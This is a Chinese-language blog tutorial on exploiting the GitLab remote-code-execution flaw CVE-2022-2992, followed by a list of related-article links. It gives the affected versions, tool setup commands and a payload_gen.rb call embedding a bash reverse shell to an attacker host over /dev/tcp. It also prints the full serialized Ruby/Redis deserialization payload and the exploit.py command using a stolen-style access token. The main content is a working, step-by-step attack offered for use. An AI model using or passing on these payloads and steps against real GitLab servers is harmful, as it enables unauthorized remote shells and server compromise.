gitlab 命令执行漏洞(CVE-2022-2992)

1.漏洞影响版本

GitLab CE/EE 中的一个漏洞影响从 11.10 开始到 15.1.6 之前的所有版本、从 15.2 开始到 15.2.4 之前的所有版本、从 15.3 开始到 15.3.2 之前的所有版本。允许经过身份验证的用户通过从 GitHub API 端点导入实现远程代码执行。

查看 gitlab 版本。(登录后才能看到)

http://xxx/api/v4/version

2.漏洞工具

https://github.com/CsEnox/CVE-2022-2992#expected-output-in-each-window

装一下工具环境

bash 复制代码
sudo apt install ruby python3 python3-pip
gem install redis (一般这个都没装)
pip install flask

3.漏洞利用

1.现在要生成序列化的有效负载,请运行Payload_gen.rb并保存有效负载。下面是一个例子:

ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/xxx29/443 0>&1"'

2.在server.py中相应地更新 NGROK_URL 和 PAYLOAD 变量。下面是一个例子:

(NGROK_URL替换为攻击机所在vpsip。)

bash 复制代码
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/xxx29/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'http://vpsip:5000'

3.注册 gitlab 账号,在 gitlab 上为用户创建访问令牌并选择所有范围。

http://xxxxx/-/profile/personal_access_tokens

4.运行exploit.py注意,这里直接在vps 运行,可以省略使用工具中提到的ngrok工具做内网穿透,实测使用ngrok做内网穿透也会有访问上的问题,强烈推荐直接使用vps 运行 exploit.py

bash 复制代码
python3 exploit.py -a ZjY4CzUxxxxx -u http://vpsip:5000 -t http://www.gitlab.com:4567/

5.命令执行成功。

相关推荐
极小狐3 小时前
GitLab 安全漏洞 CVE-2025-7739 解决方案
ci/cd·gitlab·devsecops·devops·极狐gitlab
运维开发王义杰3 天前
YAML:锚点深度解析,告别重复,拥抱优雅的配置艺术
ci/cd·gitlab
hkNaruto4 天前
【Docker】openEuler 使用docker-compose部署gitlab-ce
docker·容器·gitlab
hl04067 天前
GitLab CI + Docker 自动构建前端项目并部署 — 完整流程文档
ci/cd·docker·gitlab
先天打工圣体的男人7 天前
Linux环境gitlab多种部署方式及具体使用
运维·git·gitlab
委婉待续8 天前
基于linux环境在centos7上部署gitlab
gitlab
疯狂吧小飞牛12 天前
基于ubuntu搭建gitlab
linux·ubuntu·gitlab
__Smile°13 天前
Gitlab+Jenkins+K8S+Registry 建立 CI/CD 流水线
linux·ci/cd·docker·kubernetes·gitlab·jenkins
某某13 天前
gitlab启动失败,如何解决
gitlab